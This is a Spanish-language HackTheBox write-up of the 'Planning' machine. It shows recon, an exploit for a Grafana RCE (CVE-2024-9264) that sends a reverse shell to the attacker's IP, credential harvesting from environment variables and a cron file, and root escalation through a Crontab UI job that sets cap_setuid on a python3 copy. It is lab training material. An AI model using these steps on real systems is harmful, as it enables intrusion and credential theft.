Planning – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Planning” es una máquina de dificultad Fácil de la plataforma HackTheBox
. La máquina víctima se encuentra corriendo un servidor web, el cual alberga un vhost
corriendo una versión de Grafana
vulnerable a CVE-2024-9264, una vulnerabilidad la cual permite Remote Code Execution
. Esta vulnerabilidad nos permite ganar acceso a la máquina víctima; la cual es en efecto un contenedor Docker
. No obstante, este contenedor contiene credenciales almacenadas en sus variables de entorno las cuales son válidas para el host original. Una vez dentro del host real, somos capaces de encontrar un servicio interno en la máquina víctima y credenciales para éste. Este servicio es Crontab UI
, el cual nos permite agregar una tarea maliciosa a la máquina víctima, ejecutarla como root
y comprometer así el sistema.
User / Usuario Link to heading
admin
/ 0D5oT70Fq13EvB5r
Empezamos con un escaneo con Nmap
sobre la máquina víctima buscando por puertos TCP
abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.68
Sólo encontramos 2 puertos abiertos: 22
SSH
y 80
HTTP
.
Aplicamos algunos scripts de reconocimiento sobre estos puertos utilizando la flag -sVC
de Nmap
:
❯ sudo nmap -sVC -p22,80 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 21:33 -04
Nmap scan report for 10.10.11.68
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.24 seconds
Del output del escaneo podemos ver que el puerto 80
HTTP
redirige a http://planning.htb
.
Agregamos este dominio a nuestro archivo /etc/hosts
para que éste pueda ser reconocido por nuestro sistema:
❯ echo '10.10.11.68 planning.htb' | sudo tee -a /etc/hosts
Revisando tecnologías siendo aplicadas por el sitio web con la herramienta WhatWeb
encontramos:
❯ whatweb -a 3 http://planning.htb
http://planning.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@planning.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], JQuery[3.4.1], Script, Title[Edukate - Online Education Website], nginx[1.24.0]
Sólo muestra que el sitio web está corriendo Nginx
.
Visitando http://planning.htb
muestra un sitio acerca de Educación:
Pero no muestra información interesante.
Empezamos entonces a buscar por vhosts
usando la herramienta ffuf
. Uno de los diccionarios de SecLists
funciona, namelist.txt. Además, agregamos la flag -fs 178
para filtrar por respuestas de tamaño 178
y así evadir falsos positivos:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://planning.htb/ -H 'Host: FUZZ.planning.htb' -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 275ms]
:: Progress: [151265/151265] :: Job [1/1] :: 130 req/sec :: Duration: [0:17:55] :: Errors: 0 ::
Encontramos un subdominio: grafana.planning.htb
.
Agregamos este nuevo subdominio a nuestro archivo /etc/hosts
. De manera que éste ahora se ve como:
❯ tail -1 /etc/hosts
10.10.11.68 grafana.planning.htb planning.htb
Revisamos las tecnologías siendo utilizada por el sitio web con WhatWeb
nuevamente. Como es esperado, éste se encuentra corriendo Grafana
, más espefíciamente la versión v11.0
:
❯ whatweb -a 3 http://grafana.planning.htb
http://grafana.planning.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-XSS-Protection[1; mode=block], nginx[1.24.0]
http://grafana.planning.htb/login [200 OK] Country[RESERVED][ZZ], Grafana[11.0.0], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], Script[text/javascript], Title[Grafana], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.24.0]
Grafana
is a multi-platform open source analytics and interactive visualization web application. It can produce charts, graphs, and alerts for the web when connected to supported data sources.Grafana
es un sitio para visualizar estadísticas de un sitio web.Visitando http://grafana.planning.htb
muestra, como no es sorpresa, el panel de login para Grafana
:
Aquí es que podemos utilizar las credenciales dadas al inicio de la máquina: admin:0D5oT70Fq13EvB5r
. Y funcionan, estamos dentro:
Buscando por vulnerabilidades para Grafana
en MITRE muestra una catalogada como CVE-2024-9264 para esta versión (v11.0
). Esta vulnerabilidad puede permitir un Local File Inclusion
o incluso un Remote Code Execution
(RCE
, o ejecución remota de comandos) a través de una SQL Injection
. Buscando por un exploit para esta vulnerabilidad, hallamos este repositorio de Github. Sólo hay 2 prerequisitos:
- Un usuario autenticado en
Grafana
con permisos deViewer
o superiores. Dado que somos el usuarioadmin
asumo que esta condición se cumple. - Un binario de
DuckDB
debe estar instalado y debe ser accesible a través de la ruta deGrafana
. No sabemos si esta condición se cumple, pero podemos intentarlo.
El exploit requiere algunos parámetros tales como la url corriendo Grafana
, las credenciales dadas (usuario y contraseña), junto con la IP de atacante y un puerto en escucha para obtener una reverse shell:
❯ python3 poc.py -h
usage: poc.py [-h] --url URL --username USERNAME --password PASSWORD --reverse-ip REVERSE_IP --reverse-port REVERSE_PORT
Authenticate to Grafana and create a reverse shell payload
options:
-h, --help show this help message and exit
--url URL Grafana URL (e.g., http://127.0.0.1:3000)
--username USERNAME Grafana username
--password PASSWORD Grafana password
--reverse-ip REVERSE_IP
Reverse shell IP address
--reverse-port REVERSE_PORT
Reverse shell port
Por tanto, primero empezamos un listener con netcat
por el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
y ejecutamos el exploit, enviándonos una reverse shell a nuestra máquina de atacantes:
❯ python3 poc.py --url http://grafana.planning.htb --username 'admin' --password '0D5oT70Fq13EvB5r' --reverse-ip 10.10.16.2 --reverse-port 443
[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 443
Donde 10.10.16.2
es nuestra IP de atacantes y 443
el puerto el cual estábamos previamente en escucha con netcat
.
Obtenemos una shell como root
en un container de Docker
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.68] 50832
sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
7ce659d667d7
# hostname -I
172.17.0.2
Esto lo podemos confirmar viendo el directorio /
, donde hay un archivo .dockerenv
:
root@7ce659d667d7:~# ls -la /
total 60
drwxr-xr-x 1 root root 4096 Apr 4 10:23 .
drwxr-xr-x 1 root root 4096 Apr 4 10:23 ..
-rwxr-xr-x 1 root root 0 Apr 4 10:23 .dockerenv
lrwxrwxrwx 1 root root 7 Apr 27 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
drwxr-xr-x 5 root root 340 May 16 01:29 dev
drwxr-xr-x 1 root root 4096 Apr 4 10:23 etc
drwxr-xr-x 1 root root 4096 May 14 2024 home
Dado que el container está corriendo Grafana
, si vamos a la documentación de configuración de Grafana, podemos ver que podemos almacenar variables de entorno (env
). Por tanto, simplemente tipeamos el comando env
en una terminal:
root@7ce659d667d7:~# env
SHELL=/bin/bash
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
Podemos ver un usuario enzo
y una contraseña RioTecRANDEntANT!
.
Revisamos con la herramienta NetExec
si este usuario y contraseñas son válidos para el servicio SSH
:
❯ nxc ssh 10.10.11.68 -u 'enzo' -p 'RioTecRANDEntANT!'
SSH 10.10.11.68 22 10.10.11.68 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11
SSH 10.10.11.68 22 10.10.11.68 [+] enzo:RioTecRANDEntANT! Linux - Shell access!
Son válidas.
Ergo, logueamos como el usuario enzo
en la máquina víctima usando el servicio SSH
:
❯ sshpass -p 'RioTecRANDEntANT!' ssh -o stricthostkeychecking=no enzo@10.10.11.68
<SNIP>
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri May 16 03:29:34 2025 from 10.10.16.2
enzo@planning:~$
Podemos extraer la flag de usuario.
Root Link to heading
Si revisamos puertos internos abiertos, podemos ver:
enzo@planning:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:44427 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 4096 *:22 *:*
Los puertos 3306
y 33060
son para MySQL
, 53
para DNS
, y 3000
para Grafana
. Pero los puertos 8000
y 44427
son desconocidos.
Podemos revisar con cURL
si éstas son páginas web/servicios web internos:
enzo@planning:~$ curl http://127.0.0.1:44427
404: Page Not Found
enzo@planning:~$ curl -I http://127.0.0.1:8000
HTTP/1.1 401 Unauthorized
X-Powered-By: Express
WWW-Authenticate: Basic realm="Restricted Area"
Content-Type: text/html; charset=utf-8
Content-Length: 0
ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Date: Fri, 16 May 2025 03:35:41 GMT
Connection: keep-alive
Keep-Alive: timeout=5
El puerto 8000
parece estar corriendo una aplicación usando Express
.
Node.js Express
is a lightweight and flexible Node.js
web application framework that provides a robust set of features for building web and mobile applications.Dado que tenemos una conexión en la máquina víctima, cerramos la sesión actual de SSH
y creamos un túnel a través de un Local Port Forwarding
para tener acceso a este servicio web interno. Convertimos el puerto 8000
de la máquina víctima en nuestro puerto 8000
ejecutando esta vez:
❯ sshpass -p 'RioTecRANDEntANT!' ssh -o stricthostkeychecking=no -L 8000:127.0.0.1:8000 enzo@10.10.11.68
Si visitamos ahora http://127.0.0.1:8000
en un navegador de internet como Firefox
nos aparece una ventana de login:
Pero no tenemos credenciales todavía. Las credenciales del usuario enzo
tampoco funcionan aquí.
En este punto, para buscar información útil en la máquina víctima, podemos subir LinPEAS
(el cual puede ser descargado desde su repositorio de Github). Pasamos el binario a la máquina víctima usando scp
y las credenciales del usuario enzo
:
❯ sshpass -p 'RioTecRANDEntANT!' scp linpeas.sh enzo@10.10.11.68:/tmp/linpeas.sh
Una vez hemos transferido el binario a la máquina víctima, le asignamos permisos de ejecución y lo ejecutamos:
enzo@planning:~$ chmod +x /tmp/linpeas.sh
enzo@planning:~$ /tmp/linpeas.sh
<SNIP>
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /opt/crontabs/crontab.db: New Line Delimited JSON text data
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 967, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 6, database pages 16, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
<SNIP>
Encontramos algunos archivos de bases datos de SQLite
. Entre ellos tenemos un archivo JSON
en el directorio /opt/crontabs
llamado crontab.db
.
Revisando su contenido (junto con jq
-el cual sorprendentemente se encuentra instalado en la máquina víctima- para hacer el output más agradable a la vista) tenemos:
enzo@planning:~$ cat /opt/crontabs/crontab.db | jq
{
"name": "Grafana backup",
"command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
"schedule": "@daily",
"stopped": false,
"timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740774983276,
"saved": false,
"_id": "GTI22PpoJNtRKg0W"
}
{
"name": "Cleanup",
"command": "/root/scripts/cleanup.sh",
"schedule": "* * * * *",
"stopped": false,
"timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740849309992,
"saved": false,
"_id": "gNIRXh1WIc9K7BYX"
}
Podemos ver el comando:
/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz
Este comando está creando un backup/respaldo para el container de Grafana
, guardándolo en un archivo .zip
con contraseña P4ssw0rdS0pRi0T3c
para el usuario root
.
Probamos con las credenciales root:P4ssw0rdS0pRi0T3c
en http://127.0.0.1:8000
(el sitio web interno al cual tenemos acceso gracias al Local Port Forwarding
) y funcionan. Estamos dentro:
El sitio web parece estar corriendo Crontab UI, una herramienta para facilitar el manejo de tareas en entornos Linux
.
Dado que este sitio parece que administra cronjobs
, clickeamos en el botón + New
y agregamos un nuevo cronjob
. Creamos una simple tarea de prueba la cual debería de crear un archivo en el directorio /tmp
:
Un nuevo Job
debería de agregarse al final de la página. Clickeamos en el botón Run now
de la tarea agregada para ver si ha funcionado:
Luego de clickear en Run now
, revisamos el directorio /tmp
:
enzo@planning:~$ ls -la /tmp
total 868
drwxrwxrwt 15 root root 4096 May 16 03:53 .
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ..
drwxrwxrwt 2 root root 4096 May 16 01:29 .font-unix
drwxrwxrwt 2 root root 4096 May 16 01:29 .ICE-unix
-rwxrwxr-x 1 enzo enzo 824942 May 16 03:33 linpeas.sh
-rw-r--r-- 1 root root 0 May 16 03:53 pwned.txt
<SNIP>
Nuestro archivo ha sido creado. Y su dueño es root
. Por ende, estas tareas son ejecutadas por el usuario root
.
Finalmente, podemos crear un nuevo cronjob
el cual crea una copia del binario python3
ya a la copia creada le asignamos capabilities:
Donde, para la tarea maliciosa, hemos usado el comando:
cp /usr/bin/python3 /tmp/gunzf0x; setcap cap_setuid+ep /tmp/gunzf0x
Similar a como hicimos para la tarea nombrada test
, ahora creamos y agregamos una nueva tarea llamada evil-command
la cuala debería ser agregada. Clickeamos en Run now
y chequeamos el directorio /tmp
:
enzo@planning:~$ ls -la /tmp
total 8696
drwxrwxrwt 14 root root 4096 May 16 03:58 .
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ..
-rw-r--r-- 1 root root 0 May 16 03:58 3qLRnB3Hnw5Llalt.stderr
-rw-r--r-- 1 root root 0 May 16 03:58 3qLRnB3Hnw5Llalt.stdout
drwxrwxrwt 2 root root 4096 May 16 01:29 .font-unix
-rwxr-xr-x 1 root root 8019136 May 16 03:58 gunzf0x
drwxrwxrwt 2 root root 4096 May 16 01:29 .ICE-unix
-rwxrwxr-x 1 enzo enzo 824942 May 16 03:33 linpeas.sh
-rw-r--r-- 1 root root 0 May 16 03:53 pwned.txt
Nuestro archivo malicioso está allí.
Dado que este archivo debería de tener las capabilities habilitadas, podemos usar esta copia maliciosa de python3
junto con las capabilities asignadas para elevar privilegios tal como se muestra en GTFOBins:
enzo@planning:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
GG. Podemos extraer la flag del usuario root
en el directorio /root
.
~Happy Hacking